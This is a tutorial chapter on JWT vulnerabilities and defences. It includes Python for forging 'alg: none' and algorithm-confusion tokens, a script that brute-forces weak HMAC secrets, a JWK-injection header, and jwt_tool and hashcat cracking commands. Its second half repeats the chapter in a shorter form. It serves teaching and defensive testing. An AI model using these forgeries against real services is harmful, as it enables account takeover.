JWT Security Vulnerabilities

Why JWT Security Matters

JSON Web Tokens (JWT) have become the de facto standard for API authentication. Every major platform — Google, Auth0, Firebase, AWS Cognito — relies on JWTs to verify user identity. But here is the catch: JWT is notoriously easy to implement incorrectly.

A single misconfiguration — forgetting to verify the signature, accepting the "none" algorithm, or using a weak secret — can completely compromise your API. According to the OWASP API Security Top 10, broken authentication is the second most critical API risk.

Why this matters for your career:

  • JWT vulnerabilities are among the most common findings in bug bounty programs
  • Every API pentest includes JWT assessment
  • Understanding JWT internals helps you build secure authentication from scratch
  • Exploiting JWT flaws is a core skill for both red and blue teams

What Is JWT and How Does It Work?

A JWT is a three-part token separated by dots:

header.payload.signature

The Three Parts

| Part | Content | Example | |:-----|:--------|:--------| | Header | Algorithm and token type | {"alg": "HS256", "typ": "JWT"} | | Payload | Claims (user data, expiration) | {"user_id": 1, "role": "admin", "exp": 1700000000} | | Signature | Cryptographically signed verification | Ensures the token has not been tampered with |

Symmetric vs. Asymmetric Signing

| Feature | HS256 (Symmetric) | RS256 (Asymmetric) | |:--------|:-----------------|:-------------------| | Key used | Single shared secret | Private key signs, public key verifies | | Key distribution | Must share secret securely | Public key is freely shareable | | Security risk | Secret must be kept secret on both sides | Only the signer holds the private key | | Performance | Faster (simple HMAC) | Slower (asymmetric crypto) | | Rotation difficulty | Hard (must update all services) | Easy (rotate private key, keep public key) | | Recommendation | Internal services only | Production APIs, microservices |

How JWT Attacks Work

Attack 1: The "None" Algorithm Vulnerability

Some JWT libraries accept a header with "alg": "none", meaning no signature is required. An attacker can simply remove the signature portion and set the algorithm to "none."

import jwt
import base64
import json

# Original token (HS256 signed)
# Original: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxfQ.signature

# Attacker modifies header to use "none" algorithm
header = {"alg": "none", "typ": "JWT"}
payload = {"user_id": 1, "role": "admin"}

# Encode without a signature
def b64_encode(data):
    return base64.urlsafe_b64encode(json.dumps(data).encode()).rstrip(b"=").decode()

forged_token = f"{b64_encode(header)}.{b64_encode(payload)}."
print(f"Forged token: {forged_token}")

# Vulnerable library accepts this!
# jwt.decode(forged_token, options={"verify_signature": False})  # ❌ Never do this

Attack 2: Weak Secret Brute Force

When using HS256, the security depends entirely on the strength of the secret. Weak secrets like "secret," "password," or "jwt_secret" can be cracked in seconds.

import jwt
from concurrent.futures import ThreadPoolExecutor

# Target token with unknown secret
token = "eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxfQ.tXhVPWNhGx7QxVJv..."

# Common weak secrets to test
common_secrets = [
    "secret", "password", "123456", "key", "jwt_secret",
    "change_me", "test", "admin", "1234", "qwerty",
    "letmein", "welcome", "monkey", "dragon", "abc123"
]

def try_secret(secret):
    """Try to decode a JWT with a given secret."""
    try:
        payload = jwt.decode(token, secret, algorithms=["HS256"])
        return secret, payload
    except jwt.InvalidSignatureError:
        return None
    except Exception:
        return None

# Try all secrets in parallel
with ThreadPoolExecutor(max_workers=5) as executor:
    results = executor.map(try_secret, common_secrets)

for result in results:
    if result:
        secret, payload = result
        print(f"[!] Secret cracked: '{secret}'")
        print(f"[!] Payload: {payload}")
        break
else:
    print("[-] Secret not found in common wordlist")

Attack 3: RS256 Public Key Misuse

If the server uses RS256 but exposes its public key, an attacker can sign tokens using the public key if the server mistakenly accepts HS256:

# Algorithm confusion attack
# 1. Server uses RS256 with a PUBLIC key available via /.well-known/jwks.json
# 2. Attacker obtains the public key
# 3. Attacker creates a new JWT with alg: HS256
# 4. Attacker signs it using the PUBLIC key as the HMAC secret
# 5. Server accepts it because it tries HS256 with the same public key string

# Why this works:
# - For RS256: public_key.verify(signature, data) → True
# - For HS256: hmac.new(public_key, data).digest() == signature → True if attacker used public_key as secret

Building a Secure JWT Authentication Middleware

Here is a production-grade JWT implementation using FastAPI with RS256:

from fastapi import FastAPI, Depends, HTTPException, status
from fastapi.security import HTTPBearer
import jwt
import time
from typing import Optional

app = FastAPI()
security = HTTPBearer(auto_error=False)

# --- Configuration ---
# In production, load these from environment variables or a secrets manager
PRIVATE_KEY_PATH = "/etc/secrets/jwt-private.pem"
PUBLIC_KEY_PATH = "/etc/secrets/jwt-public.pem"

with open(PRIVATE_KEY_PATH, "r") as f:
    PRIVATE_KEY = f.read()
with open(PUBLIC_KEY_PATH, "r") as f:
    PUBLIC_KEY = f.read()

ACCESS_TOKEN_EXPIRE = 3600  # 1 hour
REFRESH_TOKEN_EXPIRE = 2592000  # 30 days


def create_access_token(user_id: int, role: str = "user") -> str:
    """Create a short-lived JWT access token."""
    now = int(time.time())
    payload = {
        "user_id": user_id,
        "role": role,
        "type": "access",
        "iat": now,                     # Issued at
        "exp": now + ACCESS_TOKEN_EXPIRE,  # Expiration
        "iss": "my-api",                # Issuer
        "aud": "my-app"                 # Audience
    }
    return jwt.encode(payload, PRIVATE_KEY, algorithm="RS256")


def create_refresh_token(user_id: int) -> str:
    """Create a long-lived refresh token."""
    now = int(time.time())
    payload = {
        "user_id": user_id,
        "type": "refresh",
        "iat": now,
        "exp": now + REFRESH_TOKEN_EXPIRE,
        "iss": "my-api",
        "aud": "my-app"
    }
    return jwt.encode(payload, PRIVATE_KEY, algorithm="RS256")


def verify_token(credentials=Depends(security)) -> dict:
    """
    Dependency: Verify JWT token and return payload.
    Raises 401 if token is invalid or expired.
    """
    if credentials is None:
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail="Authorization header required"
        )
    
    token = credentials.credentials
    try:
        payload = jwt.decode(
            token,
            PUBLIC_KEY,
            algorithms=["RS256"],  # Explicitly restrict to RS256 only
            issuer="my-api",
            audience="my-app",
            options={
                "require": ["exp", "iat", "iss", "aud"],
                "verify_exp": True
            }
        )
        return payload
    except jwt.ExpiredSignatureError:
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail="Token has expired"
        )
    except jwt.InvalidTokenError as e:
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail=f"Invalid token: {str(e)}"
        )


def require_admin(payload: dict = Depends(verify_token)) -> dict:
    """Dependency: Ensure the user has admin role."""
    if payload.get("role") != "admin":
        raise HTTPException(
            status_code=status.HTTP_403_FORBIDDEN,
            detail="Admin access required"
        )
    return payload


@app.post("/auth/login")
def login(username: str, password: str):
    """Authenticate user and return tokens."""
    # In production, verify credentials against database
    if username == "admin" and password == "secure_password":
        access_token = create_access_token(user_id=1, role="admin")
        refresh_token = create_refresh_token(user_id=1)
        return {
            "access_token": access_token,
            "refresh_token": refresh_token,
            "token_type": "bearer",
            "expires_in": ACCESS_TOKEN_EXPIRE
        }
    raise HTTPException(
        status_code=status.HTTP_401_UNAUTHORIZED,
        detail="Invalid credentials"
    )


@app.post("/auth/refresh")
def refresh_token(refresh_token: str):
    """Issue a new access token using a valid refresh token."""
    try:
        payload = jwt.decode(
            refresh_token,
            PUBLIC_KEY,
            algorithms=["RS256"],
            options={"require": ["exp", "type"]}
        )
        if payload.get("type") != "refresh":
            raise HTTPException(401, "Invalid token type")
        
        new_access = create_access_token(
            user_id=payload["user_id"],
            role=payload.get("role", "user")
        )
        return {"access_token": new_access, "expires_in": ACCESS_TOKEN_EXPIRE}
    except jwt.InvalidTokenError:
        raise HTTPException(401, "Invalid refresh token")


@app.get("/me")
def get_current_user(payload: dict = Depends(verify_token)):
    """Return current user info from JWT."""
    return {
        "user_id": payload["user_id"],
        "role": payload["role"],
        "token_type": payload["type"]
    }


@app.get("/admin/users")
def list_users(_: dict = Depends(require_admin)):
    """Admin-only endpoint protected by role check."""
    return {"users": [{"id": 1, "name": "Alice"}, {"id": 2, "name": "Bob"}]}

JWT Security Checklist

| Check | Why It Matters | How to Test | |:------|:---------------|:------------| | Reject alg: none | Attackers can forge tokens | Modify header to "alg":"none" and send | | Restrict allowed algorithms | Prevents algorithm confusion | Only accept ["RS256"] not ["RS256", "HS256"] | | Verify exp claim | Prevents replay of expired tokens | Use a token past its expiration date | | Verify iss and aud | Prevents token reuse across services | Use a token from another service | | Use strong secrets (HS256) | Prevents brute force cracking | Try common wordlists against the token | | Rotate keys regularly | Limits damage if key is compromised | Check key age in logs | | Store tokens securely (httpOnly cookies) | Prevents XSS token theft | Check if token is in localStorage | | Use short expiration (15-60 min) | Limits window of compromise | Check the exp value | | Implement refresh token rotation | Invalidates stolen refresh tokens | Reuse a refresh token twice | | Rate limit auth endpoints | Prevents brute force attacks | Send 100 login requests in 10 seconds |

Common Pitfalls

| Mistake | Why It Is Dangerous | Fix | |:--------|:-------------------|:----| | Storing JWT in localStorage | Vulnerable to XSS — any script can read it | Use httpOnly secure cookies | | Not validating exp | Stolen tokens work forever | Always check expiration server-side | | Using HS256 with a weak secret | Secret can be brute-forced | Use RS256 or a 256+ bit random secret | | Accepting multiple algorithms | Algorithm confusion attack | Whitelist exactly one algorithm | | Logging JWT tokens | Secrets and tokens leak in log files | Mask or truncate tokens in logs | | No refresh token rotation | Stolen refresh token never expires | Invalidate old refresh tokens on use |

Summary

JWT is a powerful authentication mechanism, but its security depends entirely on correct implementation. You have learned:

  • What JWT is: A three-part token (header, payload, signature) for stateless authentication
  • Why JWT vulnerabilities matter: A single misconfiguration can compromise your entire API
  • How to attack JWT: None algorithm, weak secret brute force, algorithm confusion, KID injection
  • How to defend: Use RS256, restrict algorithms, validate all claims, short expiration, secure storage

What Is Next: SQL/NoSQL Injection

Now that you understand authentication attacks, the next chapter shifts to injection attacks — where attackers bypass authentication entirely and speak directly to the database through unsanitized inputs. You will learn how SQL and NoSQL injections work, how to exploit them, and most importantly, how to prevent them with parameterized queries and input validation.

JWT Structure Recap

JWT consists of three parts: header.payload.signature

Header: {"alg": "HS256", "typ": "JWT"}
Payload: {"sub": "123", "name": "Alice", "role": "user", "iat": 1700000000, "exp": 1700086400}
Signature: HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

Common JWT Attacks

1. None Algorithm Attack

Set the algorithm to "none" to bypass signature verification.

import jwt

# Forge a token with alg=none
forged = jwt.encode(
    {"sub": "admin", "role": "admin"},
    "",  # No key needed
    algorithm="none"
)
print(f"None algorithm token: {forged}")

# Some libraries still accept this!
# Fixed in PyJWT >= 2.0, but many servers use outdated libs
# Using jwt_tool to test for none algorithm
jwt_tool eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNqP3sV8L9P3sV8L9P3sV8L9P3sV8L9P3sV8
jwt_tool -X a token.txt  # Test none algorithm

2. Weak Secret Cracking

If the HMAC secret is weak, it can be cracked offline.

# Using jwt_tool with rockyou
jwt_tool -C -d /usr/share/wordlists/rockyou.txt token.txt

# Using hashcat
hashcat -m 16500 -a 0 jwt.txt /usr/share/wordlists/rockyou.txt

3. Algorithm Confusion

Switch RS256 (asymmetric) to HS256 (symmetric) using the public key as the secret.

import jwt

# Get the server's RSA public key (often available)
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----"""

# Create a HS256 token using the public key as secret
forged = jwt.encode(
    {"sub": "admin", "role": "admin"},
    public_key,
    algorithm="HS256"
)

# If the server accepts HS256 with the same key, this works!
print(f"Algorithm confusion token: {forged}")

4. JWK Injection

Some libraries accept a jwk header containing the attacker's public key.

{
  "alg": "RS256",
  "typ": "JWT",
  "jwk": {
    "kty": "RSA",
    "n": "0vx7agoebGcQSuu...",
    "e": "AQAB"
  }
}

5. Payload Tampering

If the server doesn't verify signature properly (e.g., accepts expired tokens):

# Tamper payload with jwt_tool
jwt_tool -I -pc username -pv admin token.txt

Prevention

| Attack | Prevention | |--------|------------| | None algorithm | Explicitly reject "none" algorithm | | Weak secret | Use 256+ bit random secret | | Algorithm confusion | Specify allowed algorithms, never use variable alg | | JWK injection | Disable JWK header parsing | | Expired token | Always verify exp claim | | Token theft | Short expiry, refresh tokens, httpOnly cookies |

# Secure JWT verification
from jose import jwt, JWTError, ExpiredSignatureError

SECRET_KEY = "a-very-long-random-secret-256-bits-minimum"
ALGORITHMS = ["HS256"]  # Explicitly specify, never read from token

def verify_jwt(token: str) -> dict:
    try:
        payload = jwt.decode(
            token,
            SECRET_KEY,
            algorithms=ALGORITHMS,  # Hardcoded, not from token
            options={
                "require_exp": True,
                "verify_exp": True,
                "require_sub": True
            }
        )
        return payload
    except ExpiredSignatureError:
        raise HTTPException(401, "Token expired")
    except JWTError:
        raise HTTPException(401, "Invalid token")

Summary

JWT attacks exploit algorithm confusion, weak secrets, and insecure library defaults. Prevention requires careful configuration and explicit algorithm whitelisting.

Key takeaways: | None algorithm: set alg=none to bypass signature — reject "none" explicitly | | Weak secret: crack HMAC secret offline with hashcat — use 256-bit random | | Algorithm confusion: RS256→HS256 with public key as secret — hardcode allowed algorithms | | JWK injection: attacker provides their own public key — disable jwk header | | Always verify exp, nbf, iss, aud claims | | Hardcode accepted algorithms, never read from token header | | Use short token expiry (15-30 min) with refresh tokens |

Next Chapter: IDOR

The next chapter covers Insecure Direct Object Reference.

Unlock Full Tutorial

This chapter is paid content. Join the project to unlock over 5000 words of deep analysis, including 10+ god-tier Prompts and real Source Code examples!